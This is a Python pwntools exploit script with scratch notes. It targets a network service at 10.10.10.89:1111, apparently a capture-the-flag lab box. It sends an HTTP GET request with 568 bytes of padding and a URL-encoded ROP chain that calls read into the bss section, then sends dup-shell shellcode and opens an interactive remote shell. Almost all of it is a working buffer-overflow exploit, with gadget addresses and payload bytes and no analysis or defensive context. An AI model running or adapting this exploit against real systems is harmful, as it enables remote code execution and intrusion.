'''
GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%dd%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00%db%11%40%00%00%00%00%00%60%31%60%00%00%00%00%00AAAAAAAA%f0%0c%40%00%00%00%00%00%60%31%60%00%00%00%00%00



adr = 0x603160


rdx = size
rdi = 0x4 ; 0x00000000004011dd: pop rdi; ret;
rsi = addr ; 0x00000000004011db: pop rsi; pop r15; ret;
read =  0x400cf0



%dd%11%40%00%00%00%00%00
%04%00%00%00%00%00%00%00
%db%11%40%00%00%00%00%00
%60%31%60%00%00%00%00%00
AAAAAAAA
%f0%0c%40%00%00%00%00%00
%60%31%60%00%00%00%00%00

%dd%11%40%00%00%00%00%00%04%00%00%00%00%00%00%00%db%11%40%00%00%00%00%00%60%31%60%00%00%00%00%00AAAAAAAA%f0%0c%40%00%00%00%00%00%60%31%60%00%00%00%00%00




deadbeef

BBBB

%42%42%42%42%ef%be%ad%de

'''
from pwn import *
r = remote("10.10.10.89", 1111)


pad = "A" * 568

rop = r'%dd%11%40%00%00%00%00%00'  # 0x00000000004011dd: pop rdi; ret;
rop += r'%04%00%00%00%00%00%00%00'  # 0x4
rop += r'%db%11%40%00%00%00%00%00'  # 0x00000000004011db: pop rsi; pop r15; ret;
rop += r'%60%31%60%00%00%00%00%00'  # rsi: bss addr
rop += r'AAAAAAAA'                 # JUNK
rop += r'%f0%0c%40%00%00%00%00%00'  # read
rop += r'%60%31%60%00%00%00%00%00'  # bss addr
payload = r'GET {}{}'.format(pad, rop)

print(payload)

r.sendline(payload)
r.sendline('')
# r.interactive()
r.recvuntil("File not found")
r.sendline(asm(shellcraft.amd64.dupsh(4), arch="amd64"))
r.interactive()
pause()

r.sendline("\x90"*100)